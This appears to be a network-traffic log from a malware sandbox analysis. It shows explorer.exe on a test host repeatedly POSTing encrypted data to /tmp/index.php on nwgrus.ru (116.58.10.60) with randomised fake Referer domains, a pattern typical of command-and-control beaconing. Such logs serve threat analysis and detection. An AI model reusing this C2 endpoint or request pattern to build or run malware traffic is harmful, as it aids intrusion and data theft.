PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /tmp/index.php was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.5	49716	116.58.10.60	80	1028	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
Sep 25, 2024 16:01:36.023788929 CEST	280	OUT	POST /tmp/index.php HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://vsagqcxnudryn.com/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 196 Host: nwgrus.ru
Sep 25, 2024 16:01:36.023788929 CEST	196	OUT	Data Raw: 3b 6e 22 10 f7 be 1b 27 d8 ae b5 01 75 06 0f cb 78 7f ce e0 69 06 91 12 0c 78 7f 91 44 b3 c2 1e 9f 2d ce 28 06 1d 2b 19 eb 9d 3f c2 23 31 de ed 7c d7 4a 37 ef 20 0f f7 4d 40 17 7f 4e e2 18 1d c7 41 20 ff 2d 5b 0e 6b 2c 90 f5 76 0b 75 2c 4b c2 e4 Data Ascii: ;n"'uxixD-(+?#1\|J7 M@NA -[k,vu,K-f`koY0 B<zjf9OHqXH&S\|C?1#25jCMaE%_
Sep 25, 2024 16:01:37.606019020 CEST	137	IN	HTTP/1.1 200 OK Server: nginx/1.26.0 Date: Wed, 25 Sep 2024 14:01:37 GMT Content-Type: text/html; charset=utf-8 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.5	49717	116.58.10.60	80	1028	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
Sep 25, 2024 16:01:37.620239973 CEST	281	OUT	POST /tmp/index.php HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://fogsqjysaystoh.org/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 359 Host: nwgrus.ru
Sep 25, 2024 16:01:37.620268106 CEST	359	OUT	Data Raw: 3b 6e 22 10 f7 be 1b 27 d8 ae b5 01 75 06 0f cb 78 7f ce e0 69 06 91 12 0c 78 7f 91 44 b3 c2 1e 9f 2d ce 28 06 1d 2b 19 eb 9d 3f c2 23 31 de ed 7c d7 4a 37 ef 20 0f f7 4d 40 17 7f 4e e2 18 1d c7 41 20 ff 2d 5b 0f 6b 2c 90 f5 76 0b 75 33 28 e8 b7 Data Ascii: ;n"'uxixD-(+?#1\|J7 M@NA -[k,vu3(W^xuds3eLZ85KmdW7rV218UTv{49saDc#ZW "iMo FPqC(\|sXz
Sep 25, 2024 16:01:39.026094913 CEST	137	IN	HTTP/1.1 200 OK Server: nginx/1.26.0 Date: Wed, 25 Sep 2024 14:01:38 GMT Content-Type: text/html; charset=utf-8 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.5	49718	116.58.10.60	80	1028	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
Sep 25, 2024 16:01:39.034404993 CEST	282	OUT	POST /tmp/index.php HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://verasvafreecifd.org/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 220 Host: nwgrus.ru
Sep 25, 2024 16:01:39.034416914 CEST	220	OUT	Data Raw: 3b 6e 22 10 f7 be 1b 27 d8 ae b5 01 75 06 0f cb 78 7f ce e0 69 06 91 12 0c 78 7f 91 44 b3 c2 1e 9f 2d ce 28 06 1d 2b 19 eb 9d 3f c2 23 31 de ed 7c d7 4a 37 ef 20 0f f7 4d 40 17 7f 4e e2 18 1d c7 41 20 ff 2d 5b 0c 6b 2c 90 f5 76 0b 75 22 20 b7 e9 Data Ascii: ;n"'uxixD-(+?#1\|J7 M@NA -[k,vu" vAD^NXaua~-d@Z24f@T__K\2'VE7 )tw,[18.w
Sep 25, 2024 16:01:40.325072050 CEST	484	IN	HTTP/1.1 404 Not Found Server: nginx/1.26.0 Date: Wed, 25 Sep 2024 14:01:40 GMT Content-Type: text/html; charset=utf-8 Connection: close Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 74 6d 70 2f 69 6e 64 65 78 2e 70 68 70 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d [TRUNCATED] Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /tmp/index.php was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.5	49719	116.58.10.60	80	1028	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
Sep 25, 2024 16:01:40.333619118 CEST	278	OUT	POST /tmp/index.php HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://eaxyrbajkqo.org/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 304 Host: nwgrus.ru
Sep 25, 2024 16:01:40.333642960 CEST	304	OUT	Data Raw: 3b 6e 22 10 f7 be 1b 27 d8 ae b5 01 75 06 0f cb 78 7f ce e0 69 06 91 12 0c 78 7f 91 44 b3 c2 1e 9f 2d ce 28 06 1d 2b 19 eb 9d 3f c2 23 31 de ed 7c d7 4a 37 ef 20 0f f7 4d 40 17 7f 4e e2 18 1d c7 41 20 ff 2d 5b 0d 6b 2c 90 f5 76 0b 75 3a 1f f8 82 Data Ascii: ;n"'uxixD-(+?#1\|J7 M@NA -[k,vu:GIBYyNkpL:Lrpt,5\?JGQHITS3]`?5?GsaC9U,2%uoo=?jT#:%2
Sep 25, 2024 16:01:41.599371910 CEST	484	IN	HTTP/1.1 404 Not Found Server: nginx/1.26.0 Date: Wed, 25 Sep 2024 14:01:41 GMT Content-Type: text/html; charset=utf-8 Connection: close Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 74 6d 70 2f 69 6e 64 65 78 2e 70 68 70 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d [TRUNCATED] Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /tmp/index.php was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.5	49720	116.58.10.60	80	1028	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
Sep 25, 2024 16:01:41.608059883 CEST	283	OUT	POST /tmp/index.php HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://dfqwnqnvxbwcwpps.com/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 272 Host: nwgrus.ru
Sep 25, 2024 16:01:41.608084917 CEST	272	OUT	Data Raw: 3b 6e 22 10 f7 be 1b 27 d8 ae b5 01 75 06 0f cb 78 7f ce e0 69 06 91 12 0c 78 7f 91 44 b3 c2 1e 9f 2d ce 28 06 1d 2b 19 eb 9d 3f c2 23 31 de ed 7c d7 4a 37 ef 20 0f f7 4d 40 17 7f 4e e2 18 1d c7 41 20 ff 2d 5b 02 6b 2c 90 f5 76 0b 75 77 00 c8 fb Data Ascii: ;n"'uxixD-(+?#1\|J7 M@NA -[k,vuw6yo?2\G*xrwEm~'QW'@)3@\[,@X1T~x2fVBI<gcTT>J:2A7$
Sep 25, 2024 16:01:42.873982906 CEST	137	IN	HTTP/1.1 200 OK Server: nginx/1.26.0 Date: Wed, 25 Sep 2024 14:01:42 GMT Content-Type: text/html; charset=utf-8 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.5	49721	116.58.10.60	80	1028	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
Sep 25, 2024 16:01:42.888470888 CEST	282	OUT	POST /tmp/index.php HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://ovvofxjtrlcblbe.com/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 174 Host: nwgrus.ru
Sep 25, 2024 16:01:42.888525009 CEST	174	OUT	Data Raw: 3b 6e 22 10 f7 be 1b 27 d8 ae b5 01 75 06 0f cb 78 7f ce e0 69 06 91 12 0c 78 7f 91 44 b3 c2 1e 9f 2d ce 28 06 1d 2b 19 eb 9d 3f c2 23 31 de ed 7c d7 4a 37 ef 20 0f f7 4d 40 17 7f 4e e2 18 1d c7 41 20 ff 2d 5b 03 6b 2c 90 f5 76 0b 75 33 35 cf fd Data Ascii: ;n"'uxixD-(+?#1\|J7 M@NA -[k,vu35z^S>Rf5OA9u\^u7]_c>GqD,=c'6Fjz
Sep 25, 2024 16:01:44.128271103 CEST	484	IN	HTTP/1.1 404 Not Found Server: nginx/1.26.0 Date: Wed, 25 Sep 2024 14:01:43 GMT Content-Type: text/html; charset=utf-8 Connection: close Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 74 6d 70 2f 69 6e 64 65 78 2e 70 68 70 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d [TRUNCATED] Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /tmp/index.php was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.5	49722	116.58.10.60	80	1028	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
Sep 25, 2024 16:01:44.136698008 CEST	281	OUT	POST /tmp/index.php HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://khaxmqmrelincl.org/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 201 Host: nwgrus.ru
Sep 25, 2024 16:01:44.136732101 CEST	201	OUT	Data Raw: 3b 6e 22 10 f7 be 1b 27 d8 ae b5 01 75 06 0f cb 78 7f ce e0 69 06 91 12 0c 78 7f 91 44 b3 c2 1e 9f 2d ce 28 06 1d 2b 19 eb 9d 3f c2 23 31 de ed 7c d7 4a 37 ef 20 0f f7 4d 40 17 7f 4e e2 18 1d c7 41 20 ff 2d 5b 00 6b 2c 90 f5 76 0b 75 20 32 de eb Data Ascii: ;n"'uxixD-(+?#1\|J7 M@NA -[k,vu 2N,dLRguz(y6h1>BD5K0.&JD{CU#Nm:z`B4Q
Sep 25, 2024 16:01:45.386388063 CEST	484	IN	HTTP/1.1 404 Not Found Server: nginx/1.26.0 Date: Wed, 25 Sep 2024 14:01:45 GMT Content-Type: text/html; charset=utf-8 Connection: close Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 74 6d 70 2f 69 6e 64 65 78 2e 70 68 70 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d [TRUNCATED] Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /tmp/index.php was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.2.5	49723	116.58.10.60	80	1028	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
Sep 25, 2024 16:01:45.519504070 CEST	283	OUT	POST /tmp/index.php HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://tuivtdfccoxjstqv.net/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 184 Host: nwgrus.ru
Sep 25, 2024 16:01:45.519610882 CEST	184	OUT	Data Raw: 3b 6e 22 10 f7 be 1b 27 d8 ae b5 01 75 06 0f cb 78 7f ce e0 69 06 91 12 0c 78 7f 91 44 b3 c2 1e 9f 2d ce 28 06 1d 2b 19 eb 9d 3f c2 23 31 de ed 7c d7 4a 37 ef 20 0f f7 4d 40 17 7f 4e e2 18 1d c7 41 20 ff 2d 5b 01 6b 2c 90 f5 76 0b 75 4f 4a fe f0 Data Ascii: ;n"'uxixD-(+?#1\|J7 M@NA -[k,vuOJN5`cdA2[H<xKj@gA/8UmI>1Sj]8$.a&,
Sep 25, 2024 16:01:46.758783102 CEST	484	IN	HTTP/1.1 404 Not Found Server: nginx/1.26.0 Date: Wed, 25 Sep 2024 14:01:46 GMT Content-Type: text/html; charset=utf-8 Connection: close Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 74 6d 70 2f 69 6e 64 65 78 2e 70 68 70 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d [TRUNCATED] Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /tmp/index.php was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
13	192.168.2.5	49724	116.58.10.60	80	1028	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
Sep 25, 2024 16:01:46.769692898 CEST	281	OUT	POST /tmp/index.php HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://ktflshoikbglbj.net/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 136 Host: nwgrus.ru
Sep 25, 2024 16:01:46.769721985 CEST	136	OUT	Data Raw: 3b 6e 22 10 f7 be 1b 27 d8 ae b5 01 75 06 0f cb 78 7f ce e0 69 06 91 12 0c 78 7f 91 44 b3 c2 1e 9f 2d ce 28 06 1d 2b 19 eb 9d 3f c2 23 31 de ed 7c d7 4a 37 ef 20 0f f7 4d 40 17 7f 4e e2 18 1d c7 41 20 ff 2d 5b 06 6b 2c 90 f5 76 0b 75 30 07 ca 97 Data Ascii: ;n"'uxixD-(+?#1\|J7 M@NA -[k,vu0[Okbvv&$Y_vkv4y
Sep 25, 2024 16:01:48.049710035 CEST	484	IN	HTTP/1.1 404 Not Found Server: nginx/1.26.0 Date: Wed, 25 Sep 2024 14:01:47 GMT Content-Type: text/html; charset=utf-8 Connection: close Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 74 6d 70 2f 69 6e 64 65 78 2e 70 68 70 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d [TRUNCATED] Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /tmp/index.php was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
14	192.168.2.5	49725	116.58.10.60	80	1028	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
Sep 25, 2024 16:01:48.060842991 CEST	278	OUT	POST /tmp/index.php HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://xapousftkgr.net/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 198 Host: nwgrus.ru
Sep 25, 2024 16:01:48.060877085 CEST	198	OUT	Data Raw: 3b 6e 22 10 f7 be 1b 27 d8 ae b5 01 75 06 0f cb 78 7f ce e0 69 06 91 12 0c 78 7f 91 44 b3 c2 1e 9f 2d ce 28 06 1d 2b 19 eb 9d 3f c2 23 31 de ed 7c d7 4a 37 ef 20 0f f7 4d 40 17 7f 4e e2 18 1d c7 41 20 ff 2d 5b 07 6b 2c 90 f5 76 0b 75 2b 54 a8 ea Data Ascii: ;n"'uxixD-(+?#1\|J7 M@NA -[k,vu+TW0yRDH*EoSvf7N(S.y^!nw( ~{KTQKO^zIu]
Sep 25, 2024 16:01:49.324126959 CEST	484	IN	HTTP/1.1 404 Not Found Server: nginx/1.26.0 Date: Wed, 25 Sep 2024 14:01:49 GMT Content-Type: text/html; charset=utf-8 Connection: close Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 74 6d 70 2f 69 6e 64 65 78 2e 70 68 70 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d [TRUNCATED] Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /tmp/index.php was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
15	192.168.2.5	49726	116.58.10.60	80	1028	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
Sep 25, 2024 16:01:49.339158058 CEST	278	OUT	POST /tmp/index.php HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://xhvcwlrrfnr.org/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 279 Host: nwgrus.ru
Sep 25, 2024 16:01:49.339195013 CEST	279	OUT	Data Raw: 3b 6e 22 10 f7 be 1b 27 d8 ae b5 01 75 06 0f cb 78 7f ce e0 69 06 91 12 0c 78 7f 91 44 b3 c2 1e 9f 2d ce 28 06 1d 2b 19 eb 9d 3f c2 23 31 de ed 7c d7 4a 37 ef 20 0f f7 4d 40 17 7f 4e e2 18 1d c7 41 20 ff 2d 5b 04 6b 2c 90 f5 76 0b 75 7c 52 c6 e6 Data Ascii: ;n"'uxixD-(+?#1\|J7 M@NA -[k,vu\|RZBDPf`)q3mMY+hvq)X8}BJP~/Z5bwY@]f5w?e!tTVf-v:WT4:1C8
Sep 25, 2024 16:01:50.595983982 CEST	137	IN	HTTP/1.1 200 OK Server: nginx/1.26.0 Date: Wed, 25 Sep 2024 14:01:50 GMT Content-Type: text/html; charset=utf-8 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
16	192.168.2.5	49727	116.58.10.60	80	1028	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
Sep 25, 2024 16:01:50.603841066 CEST	278	OUT	POST /tmp/index.php HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://edyhjfoqqme.com/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 200 Host: nwgrus.ru
